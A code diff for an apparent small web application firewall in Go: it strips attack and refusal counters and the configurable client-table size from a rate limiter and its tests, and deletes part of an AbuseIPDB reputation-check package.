||||||
// TokenRefused those refused for a missing or wrong token.
|
|
||||||
Limit int64 `json:"limit"`
|
Limit int64 `json:"limit"`
|
||||||
Attack int64 `json:"attack"`
|
|
||||||
RuleBlocked int64 `json:"rule_blocked"`
|
|
||||||
WAFBlocked int64 `json:"waf_blocked"`
|
|
||||||
TokenRefused int64 `json:"token_refused"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Request is what a client's history keeps of one of its requests.
|
// Request is what a client's history keeps of one of its requests.
|
||||||
@@ -147,23 +136,13 @@ type Request struct {
|
|||||||
// and of its response.
|
// and of its response.
|
||||||
RequestBytes int64
|
RequestBytes int64
|
||||||
ResponseBytes int64
|
ResponseBytes int64
|
||||||
// BrokeLimit is true for a request that broke a rate limit, a byte
|
// BrokeLimit is true for a request that broke a rate limit or a byte
|
||||||
// limit or the error burst, Attack for one that matched a ban rule or
|
// limit.
|
||||||
// asked for a trap path, RuleBlocked for one a block rule refused,
|
|
||||||
// WAFBlocked for one the Core Rule Set refused, and TokenRefused for
|
|
||||||
// one refused for a missing or wrong token.
|
|
||||||
BrokeLimit bool
|
BrokeLimit bool
|
||||||
Attack bool
|
|
||||||
RuleBlocked bool
|
|
||||||
WAFBlocked bool
|
|
||||||
TokenRefused bool
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns a Limiter for limits, with no client counted yet, whose
|
// New returns a Limiter for limits, with no client counted yet.
|
||||||
// table holds at most maxClients clients (SWWAF_MAX_TRACKED_CLIENTS). Past
|
func New(limits Limits) *Limiter {
|
||||||
// it, the least recently seen client is dropped, with its history, and
|
|
||||||
// starts afresh if it comes back.
|
|
||||||
func New(limits Limits, maxClients int) *Limiter {
|
|
||||||
clients, err := simplelru.NewLRU[netip.Prefix, *Client](maxClients, nil)
|
clients, err := simplelru.NewLRU[netip.Prefix, *Client](maxClients, nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
panic(err) // NewLRU fails only for a size below one
|
panic(err) // NewLRU fails only for a size below one
|
||||||
@@ -188,18 +167,17 @@ func New(limits Limits, maxClients int) *Limiter {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Hit is a request that takes a client over a rate limit or the error
|
// Hit is a request that takes a client over a rate limit, or whose bytes
|
||||||
// burst, or whose bytes take it over a byte limit.
|
// take it over a byte limit.
|
||||||
type Hit struct {
|
type Hit struct {
|
||||||
// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
|
// Kind is KindRequests for a rate limit, KindBytes for a byte limit.
|
||||||
// KindRefusals for the error burst.
|
|
||||||
Kind string
|
Kind string
|
||||||
// Window is "minute", "hour" or "day".
|
// Window is "minute", "hour" or "day".
|
||||||
Window string
|
Window string
|
||||||
// Limit is the window's limit, as the client's percentage of it.
|
// Limit is the window's limit, as the client's percentage of it.
|
||||||
Limit int64
|
Limit int64
|
||||||
// Count is the client's requests, bytes or refusals counted in the
|
// Count is the client's requests, or bytes, counted in the window,
|
||||||
// window, this request's included.
|
// this request's included.
|
||||||
Count float64
|
Count float64
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -238,25 +216,8 @@ func (l *Limiter) CountBytes(
|
|||||||
return l.count(client, now, 0, bytes, percent)
|
return l.count(client, now, 0, bytes, percent)
|
||||||
}
|
}
|
||||||
|
|
||||||
// CountRefusal counts a request from client at now that smallwebwaf
|
// Reset sets client's counts of requests and of bytes in every window
|
||||||
// refused after a rule file or Core Rule Set match or for a missing or
|
// back to zero. Its history keeps its totals.
|
||||||
// wrong token, and reports whether the client's refusals in the minute
|
|
||||||
// that ends at now, this one included, are more than threshold, which
|
|
||||||
// breaks the error burst, and the hit.
|
|
||||||
func (l *Limiter) CountRefusal(
|
|
||||||
client netip.Prefix, now time.Time, threshold int64,
|
|
||||||
) (Hit, bool) {
|
|
||||||
l.mu.Lock()
|
|
||||||
defer l.mu.Unlock()
|
|
||||||
|
|
||||||
count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
|
|
||||||
hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
|
|
||||||
|
|
||||||
return hit, count > float64(threshold)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Reset sets client's counts of requests, of bytes and of refusals in
|
|
||||||
// every window back to zero. Its history keeps its totals.
|
|
||||||
func (l *Limiter) Reset(client netip.Prefix) {
|
func (l *Limiter) Reset(client netip.Prefix) {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
@@ -265,7 +226,6 @@ func (l *Limiter) Reset(client netip.Prefix) {
|
|||||||
if seen {
|
if seen {
|
||||||
c.Minute, c.Hour, c.Day = Buckets{}, Buckets{}, Buckets{}
|
c.Minute, c.Hour, c.Day = Buckets{}, Buckets{}, Buckets{}
|
||||||
c.MinuteBytes, c.HourBytes, c.DayBytes = Buckets{}, Buckets{}, Buckets{}
|
c.MinuteBytes, c.HourBytes, c.DayBytes = Buckets{}, Buckets{}, Buckets{}
|
||||||
c.MinuteRefusals = Buckets{}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -298,22 +258,6 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
|
|||||||
if r.BrokeLimit {
|
if r.BrokeLimit {
|
||||||
h.Offences.Limit++
|
h.Offences.Limit++
|
||||||
}
|
}
|
||||||
|
|
||||||
if r.Attack {
|
|
||||||
h.Offences.Attack++
|
|
||||||
}
|
|
||||||
|
|
||||||
if r.RuleBlocked {
|
|
||||||
h.Offences.RuleBlocked++
|
|
||||||
}
|
|
||||||
|
|
||||||
if r.WAFBlocked {
|
|
||||||
h.Offences.WAFBlocked++
|
|
||||||
}
|
|
||||||
|
|
||||||
if r.TokenRefused {
|
|
||||||
h.Offences.TokenRefused++
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// AddLookup gives client's history its AS number, AS name and country, as
|
// AddLookup gives client's history its AS number, AS name and country, as
|
||||||
@@ -423,10 +367,6 @@ func (l *Limiter) Load(clients []Client, now time.Time) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if c.MinuteRefusals.Passed(now, time.Minute) {
|
|
||||||
c.MinuteRefusals = Buckets{}
|
|
||||||
}
|
|
||||||
|
|
||||||
l.clients.Add(c.Client, &c)
|
l.clients.Add(c.Client, &c)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,10 +12,6 @@ import (
|
|||||||
// limit is the limit the tests set.
|
// limit is the limit the tests set.
|
||||||
const limit = 3
|
const limit = 3
|
||||||
|
|
||||||
// tableSize is the most clients the tests' tables hold, the default of
|
|
||||||
// SWWAF_MAX_TRACKED_CLIENTS.
|
|
||||||
const tableSize = 20000
|
|
||||||
|
|
||||||
// whole is the percentage of each limit a client gets when nothing lowers
|
// whole is the percentage of each limit a client gets when nothing lowers
|
||||||
// its limits.
|
// its limits.
|
||||||
const whole = 100
|
const whole = 100
|
||||||
@@ -41,7 +37,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
|
|||||||
t.Run(tc.window, func(t *testing.T) {
|
t.Run(tc.window, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(tc.limits, tableSize)
|
limiter := ratelimit.New(tc.limits)
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
quarter := tc.length / 4
|
quarter := tc.length / 4
|
||||||
@@ -66,7 +62,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
|
|||||||
func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
|
func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit})
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -92,8 +88,7 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
|
|||||||
func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
|
func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
|
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64})
|
||||||
tableSize)
|
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -124,8 +119,7 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// Only the hour has limits: the minute's and the day's are off.
|
// Only the hour has limits: the minute's and the day's are off.
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
|
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000})
|
||||||
tableSize)
|
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -162,7 +156,7 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
|
|||||||
t.Run(tc.window, func(t *testing.T) {
|
t.Run(tc.window, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(tc.limits, tableSize)
|
limiter := ratelimit.New(tc.limits)
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
|
|
||||||
// 600 bytes are within the limit, 600 more over it.
|
// 600 bytes are within the limit, 600 more over it.
|
||||||
@@ -186,8 +180,7 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
|
|||||||
func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
|
func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
|
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000})
|
||||||
tableSize)
|
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
other := netip.MustParsePrefix("203.0.113.10/32")
|
other := netip.MustParsePrefix("203.0.113.10/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
@@ -211,7 +204,7 @@ func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
|
|||||||
func TestCountGivesTheBytesInEachWindow(t *testing.T) {
|
func TestCountGivesTheBytesInEachWindow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{})
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -237,7 +230,7 @@ func TestCountGivesTheBytesInEachWindow(t *testing.T) {
|
|||||||
func TestResetSetsTheBytesBackToZero(t *testing.T) {
|
func TestResetSetsTheBytesBackToZero(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{BytesPerDay: 1000}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{BytesPerDay: 1000})
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -248,50 +241,10 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
|
|||||||
wantBytesCount(t, limiter, client, start, 1000, "")
|
wantBytesCount(t, limiter, client, start, 1000, "")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
|
||||||
start := midnight()
|
|
||||||
|
|
||||||
for range limit {
|
|
||||||
if _, over := limiter.CountRefusal(client, start, limit); over {
|
|
||||||
t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
hit, over := limiter.CountRefusal(client, start, limit)
|
|
||||||
|
|
||||||
want := ratelimit.Hit{
|
|
||||||
Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
|
|
||||||
}
|
|
||||||
if !over || hit != want {
|
|
||||||
t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
|
|
||||||
want)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Half a minute into the next, half of those four still count, 2, and
|
|
||||||
// this one: 3, within the threshold.
|
|
||||||
hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
|
|
||||||
if over || hit.Count != 3 {
|
|
||||||
t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
|
|
||||||
hit.Count, over)
|
|
||||||
}
|
|
||||||
|
|
||||||
// A ban sets them back to zero.
|
|
||||||
limiter.Reset(client)
|
|
||||||
|
|
||||||
hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
|
|
||||||
if hit.Count != 1 {
|
|
||||||
t.Errorf("after a reset, %v refusals, want 1", hit.Count)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
|
func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{})
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -314,7 +267,7 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
|
|||||||
func TestResetSetsTheCountsBackToZero(t *testing.T) {
|
func TestResetSetsTheCountsBackToZero(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit})
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -336,7 +289,7 @@ func TestResetSetsTheCountsBackToZero(t *testing.T) {
|
|||||||
func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
|
func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit})
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -355,8 +308,7 @@ func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
|
|||||||
func TestRefusedRequestsCount(t *testing.T) {
|
func TestRefusedRequestsCount(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
|
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit})
|
||||||
tableSize)
|
|
||||||
refused := netip.MustParsePrefix("203.0.113.9/32")
|
refused := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
within := netip.MustParsePrefix("203.0.113.10/32")
|
within := netip.MustParsePrefix("203.0.113.10/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
@@ -389,7 +341,7 @@ func TestRefusedRequestsCount(t *testing.T) {
|
|||||||
func TestRequestCountedLateGoesInTheBucketUnderWay(t *testing.T) {
|
func TestRequestCountedLateGoesInTheBucketUnderWay(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit})
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -405,7 +357,7 @@ func TestRequestCountedLateGoesInTheBucketUnderWay(t *testing.T) {
|
|||||||
func TestClockSetBackStartsTheBucketsAfresh(t *testing.T) {
|
func TestClockSetBackStartsTheBucketsAfresh(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit})
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -428,12 +380,12 @@ func TestClockSetBackStartsTheBucketsAfresh(t *testing.T) {
|
|||||||
wantCount(t, limiter, client, setBack, hour)
|
wantCount(t, limiter, client, setBack, hour)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
|
func TestKeepsAtMost20000ClientsDroppingTheLeastRecentlySeen(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const maxClients = 3
|
const maxClients = 20000
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 1}, maxClients)
|
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 1})
|
||||||
now := midnight()
|
now := midnight()
|
||||||
|
|
||||||
clients := make([]netip.Prefix, maxClients+1)
|
clients := make([]netip.Prefix, maxClients+1)
|
||||||
@@ -455,11 +407,6 @@ func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
|
|||||||
// One client more drops the least recently seen, the second, which
|
// One client more drops the least recently seen, the second, which
|
||||||
// starts afresh, while the first is kept.
|
// starts afresh, while the first is kept.
|
||||||
wantCount(t, limiter, clients[maxClients], now, "")
|
wantCount(t, limiter, clients[maxClients], now, "")
|
||||||
|
|
||||||
if limiter.Len() != maxClients {
|
|
||||||
t.Errorf("the table holds %d clients, want %d", limiter.Len(), maxClients)
|
|
||||||
}
|
|
||||||
|
|
||||||
wantCount(t, limiter, clients[1], now, "")
|
wantCount(t, limiter, clients[1], now, "")
|
||||||
wantCount(t, limiter, clients[0], now, minute)
|
wantCount(t, limiter, clients[0], now, minute)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ func TestSnapshotListsTheClientsByAddress(t *testing.T) {
|
|||||||
|
|
||||||
want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"}
|
want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"}
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{})
|
||||||
for _, i := range []int{2, 3, 0, 1} {
|
for _, i := range []int{2, 3, 0, 1} {
|
||||||
limiter.Count(netip.MustParsePrefix(want[i]), midnight(), whole)
|
limiter.Count(netip.MustParsePrefix(want[i]), midnight(), whole)
|
||||||
}
|
}
|
||||||
@@ -43,7 +43,7 @@ func TestLoadedCountsCarryOn(t *testing.T) {
|
|||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
before := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
|
before := ratelimit.New(ratelimit.Limits{PerHour: limit})
|
||||||
for range limit {
|
for range limit {
|
||||||
wantCount(t, before, client, start, "")
|
wantCount(t, before, client, start, "")
|
||||||
}
|
}
|
||||||
@@ -51,7 +51,7 @@ func TestLoadedCountsCarryOn(t *testing.T) {
|
|||||||
// Loaded into a new limiter, as across a restart, the client has no
|
// Loaded into a new limiter, as across a restart, the client has no
|
||||||
// fresh allowance.
|
// fresh allowance.
|
||||||
later := start.Add(time.Minute)
|
later := start.Add(time.Minute)
|
||||||
after := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
|
after := ratelimit.New(ratelimit.Limits{PerHour: limit})
|
||||||
after.Load(before.Snapshot(), later)
|
after.Load(before.Snapshot(), later)
|
||||||
wantCount(t, after, client, later, hour)
|
wantCount(t, after, client, later, hour)
|
||||||
}
|
}
|
||||||
@@ -62,24 +62,23 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
|
|||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{})
|
||||||
limiter.Count(client, start, whole)
|
limiter.Count(client, start, whole)
|
||||||
limiter.CountBytes(client, start, 5, whole)
|
limiter.CountBytes(client, start, 5, whole)
|
||||||
limiter.CountRefusal(client, start, limit)
|
|
||||||
limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
|
limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
|
||||||
|
|
||||||
loaded := func(now time.Time) ratelimit.Client {
|
loaded := func(now time.Time) ratelimit.Client {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
after := ratelimit.New(ratelimit.Limits{}, tableSize)
|
after := ratelimit.New(ratelimit.Limits{})
|
||||||
after.Load(limiter.Snapshot(), now)
|
after.Load(limiter.Snapshot(), now)
|
||||||
|
|
||||||
return after.Snapshot()[0]
|
return after.Snapshot()[0]
|
||||||
}
|
}
|
||||||
|
|
||||||
// Two minutes on, the window that ends then covers none of the
|
// Two minutes on, the window that ends then covers neither of the
|
||||||
// minute's buckets, of requests, of bytes and of refusals, which are
|
// minute's buckets, of requests and of bytes, which are emptied; the
|
||||||
// emptied; the hour's and the day's stay, and so does the history.
|
// hour's and the day's stay, and so does the history.
|
||||||
got := loaded(start.Add(2 * time.Minute))
|
got := loaded(start.Add(2 * time.Minute))
|
||||||
if got.Minute != (ratelimit.Buckets{}) || got.Hour.Current != 1 ||
|
if got.Minute != (ratelimit.Buckets{}) || got.Hour.Current != 1 ||
|
||||||
got.Day.Current != 1 || got.History.Requests != 1 {
|
got.Day.Current != 1 || got.History.Requests != 1 {
|
||||||
@@ -92,24 +91,18 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
|
|||||||
got.MinuteBytes, got.HourBytes, got.DayBytes)
|
got.MinuteBytes, got.HourBytes, got.DayBytes)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got.MinuteRefusals != (ratelimit.Buckets{}) {
|
|
||||||
t.Errorf("loaded two minutes on with buckets of refusals %+v",
|
|
||||||
got.MinuteRefusals)
|
|
||||||
}
|
|
||||||
|
|
||||||
// A moment before, the window still covers some of the earlier one.
|
// A moment before, the window still covers some of the earlier one.
|
||||||
got = loaded(start.Add(2*time.Minute - time.Nanosecond))
|
got = loaded(start.Add(2*time.Minute - time.Nanosecond))
|
||||||
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
|
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 {
|
||||||
got.MinuteRefusals.Current != 1 {
|
t.Errorf("loaded just under two minutes on with minute buckets %+v and %+v",
|
||||||
t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
|
got.Minute, got.MinuteBytes)
|
||||||
"and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLoadDropsTheLeastRecentlySeenFirst(t *testing.T) {
|
func TestLoadDropsTheLeastRecentlySeenFirst(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const maxClients = 3
|
const maxClients = 20000
|
||||||
|
|
||||||
// clients.json lists the clients by address. Here each was last seen
|
// clients.json lists the clients by address. Here each was last seen
|
||||||
// a second before the one listed before it, so the last listed is the
|
// a second before the one listed before it, so the last listed is the
|
||||||
@@ -123,7 +116,7 @@ func TestLoadDropsTheLeastRecentlySeenFirst(t *testing.T) {
|
|||||||
addr = addr.Next()
|
addr = addr.Next()
|
||||||
}
|
}
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{}, maxClients)
|
limiter := ratelimit.New(ratelimit.Limits{})
|
||||||
limiter.Load(clients, midnight())
|
limiter.Load(clients, midnight())
|
||||||
|
|
||||||
got := limiter.Snapshot()
|
got := limiter.Snapshot()
|
||||||
|
|||||||
@@ -1,328 +0,0 @@
|
|||||||
package reputation
|
|
||||||
|
|
||||||
import (
|
|
||||||
"context"
|
|
||||||
"encoding/json"
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"io"
|
|
||||||
"log/slog"
|
|
||||||
"net/http"
|
|
||||||
"net/netip"
|
|
||||||
"net/url"
|
|
||||||
"slices"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"github.com/hashicorp/golang-lru/v2/simplelru"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
|
||||||
)
|
|
||||||
|
|
||||||
const (
|
|
||||||
// AbuseIPDBURL is where clients are checked: the check endpoint of
|
|
||||||
// AbuseIPDB's API.
|
|
||||||
AbuseIPDBURL = "https://api.abuseipdb.com/api/v2/check"
|
|
||||||
// AbuseIPDBSource is how the request log, the alerts and the metrics
|
|
||||||
// name AbuseIPDB.
|
|
||||||
AbuseIPDBSource = "abuseipdb"
|
|
||||||
// maxAnswerBytes is the most of an answer of AbuseIPDB that is read.
|
|
||||||
maxAnswerBytes = 64 << 10
|
|
||||||
// day is the length of the day the checks are counted in, in UTC.
|
|
||||||
day = 24 * time.Hour
|
|
||||||
)
|
|
||||||
|
|
||||||
var (
|
|
||||||
errNoScore = errors.New("the answer gives no abuseConfidenceScore")
|
|
||||||
errBudgetUsedUp = errors.New(
|
|
||||||
"checks spent; none is made until the day ends at 00:00 UTC")
|
|
||||||
)
|
|
||||||
|
|
||||||
// Score is what AbuseIPDB said about a client, as reputation.json holds
|
|
||||||
// it: the client, an IPv4 address or an IPv6 group, its abuse confidence
|
|
||||||
// score, from 0 to 100, and when AbuseIPDB answered.
|
|
||||||
type Score struct {
|
|
||||||
Client netip.Prefix `json:"client"`
|
|
||||||
Score int64 `json:"score"`
|
|
||||||
Fetched time.Time `json:"fetched"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// Checks are what reputation.json keeps of the checks of clients with
|
|
||||||
// AbuseIPDB: the day, in UTC, of the checks Spent counts, zero before the
|
|
||||||
// first, and the scores still in use.
|
|
||||||
type Checks struct {
|
|
||||||
Day time.Time `json:"day,omitzero"`
|
|
||||||
Spent int `json:"spent"`
|
|
||||||
Scores []Score `json:"scores"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// AbuseIPDBParams are what NewAbuseIPDB needs.
|
|
||||||
type AbuseIPDBParams struct {
|
|
||||||
// URL is where clients are checked, normally AbuseIPDBURL, with Key,
|
|
||||||
// the account's key (SWWAF_ABUSEIPDB_KEY).
|
|
||||||
URL string
|
|
||||||
Key string
|
|
||||||
// MinScore is the least score that is a hit (SWWAF_ABUSEIPDB_MIN_SCORE),
|
|
||||||
// and DailyBudget the most checks made in a day, in UTC
|
|
||||||
// (SWWAF_ABUSEIPDB_DAILY_BUDGET).
|
|
||||||
MinScore int64
|
|
||||||
DailyBudget int
|
|
||||||
// CacheTTL is how long a score is used after it was fetched
|
|
||||||
// (SWWAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take
|
|
||||||
// (SWWAF_REPUTATION_TIMEOUT).
|
|
||||||
CacheTTL time.Duration
|
|
||||||
Timeout time.Duration
|
|
||||||
// Now tells the time, normally time.Now in UTC.
|
|
||||||
Now func() time.Time
|
|
||||||
// ProcessLog receives each check that fails, and why, and the day's
|
|
||||||
// budget used up.
|
|
||||||
ProcessLog *slog.Logger
|
|
||||||
// Alerts receive a source_failure alert for each.
|
|
||||||
